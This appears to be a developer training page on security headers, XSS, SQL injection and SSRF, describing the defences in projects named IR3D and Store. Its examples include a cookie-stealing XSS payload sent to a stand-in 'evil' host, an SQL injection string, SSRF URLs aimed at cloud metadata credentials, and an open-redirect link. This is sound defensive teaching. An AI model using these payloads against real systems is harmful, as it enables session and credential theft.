Security headers & input attacks (XSS, SQLi, SSRF)
CSP, HSTS, X-Frame-Options, Referrer-Policy, Permissions-Policy, plus how XSS, SQL injection and SSRF work and how IR3D's SafeHttpFetcher blocks requests to internal networks.
Security headers
| Header | Purpose | Example |
|---|---|---|
Strict-Transport-Security |
Browser must use HTTPS for this host | max-age=31536000; includeSubDomains; preload |
Content-Security-Policy |
Allow-list of script, style and connect sources. The strongest XSS mitigation | default-src 'self'; script-src 'self'; frame-ancestors 'none' |
X-Frame-Options |
Blocks clickjacking via iframes | DENY |
X-Content-Type-Options |
Stops MIME sniffing | nosniff |
Referrer-Policy |
How much of the URL leaks to other sites | strict-origin-when-cross-origin |
Permissions-Policy |
Disables browser features | camera=(), geolocation=() |
shared/security/SecurityHeadersFilter.javaA custom filter sets CSP, HSTS with preload, X-Frame-Options: DENY and Permissions-Policy.
SecurityConfig headers()Spring Security’s header DSL with frame deny, HSTS for 1 year with includeSubDomains, and a strict-origin referrer policy.
XSS (Cross-Site Scripting)
An attacker gets their script to run in your origin, for example through a review text like <img src=x onerror="fetch('//evil?c='+document.cookie)"> that is rendered unescaped. The script can read the DOM, call APIs as the user, and steal non-HttpOnly tokens.
Defences, in order of importance:
- Output encoding. React escapes by default. Never use
dangerouslySetInnerHTMLwith user input, and Thymeleaf’sth:textescapes, unliketh:utext. - CSP, which blocks inline and unknown scripts.
- HttpOnly cookies, which limit token theft.
- Input validation as defence in depth: IR3D’s
XssFilter/XssRequestWrapperand@NoHtml, SperoTek’s@SafeText. - A sanitiser (OWASP Java HTML Sanitizer, DOMPurify) when you must accept rich HTML.
shared/filter/XssFilter.java · XssRequestWrapper.javaStrips dangerous patterns from request parameters globally. It’s a useful extra layer, but filters based on blocklists can be bypassed and can mangle legitimate input, so output encoding remains the primary defence.
SQL injection
// ❌ vulnerable
jdbc.query("SELECT * FROM users WHERE email = '" + email + "'"); // email = ' OR '1'='1
// ✅ parameterised: the driver sends the value separately from the SQL
jdbc.sql("SELECT * FROM users WHERE email = :email").param("email", email)...
JPA, JPQL with :params, Specifications and JdbcClient with .param() are all safe, and every project uses them. Danger remains with dynamic ORDER BY columns, which can’t be bound as parameters. That’s why Store’s sort whitelist matters.
SSRF (Server-Side Request Forgery)
Any feature where your server fetches a URL the user provides (link previews, webhooks, image import) can be abused to reach internal targets:
http://169.254.169.254/latest/meta-data/iam/security-credentials/ <- AWS instance credentials!
http://localhost:8081/actuator/env
http://10.0.0.5:5432
linkpreview/application/SafeHttpFetcher.javaIR3D’s link preview is SSRF-hardened:
- It resolves the host with
InetAddress.getAllByNameand rejects private, loopback, link-local and metadata ranges. - It re-validates on every redirect, with
MAX_REDIRECTS = 4, because a public URL can 302 to an internal one. - Requests are rate-limited per user.
Watch out for DNS rebinding, where the name resolves to a public IP at check time and a private one at connect time. Pin the resolved IP for the actual connection.
Related concepts you must know
- Path traversal. Validate
../in file names. Use storage keys you generate yourself, not user file names. - Deserialisation attacks. Never deserialise untrusted Java objects. JSON with Jackson default typing off is safe.
- Command injection. IR3D shells out to
ffmpegandyt-dlp, so pass arguments as an array (ProcessBuilder(List)), never build a shell string, and validate URLs first. - Open redirect.
?next=https://evil.comafter login. Allow only relative paths or known hosts. - Mass assignment (DTO lesson), IDOR (authorization lesson).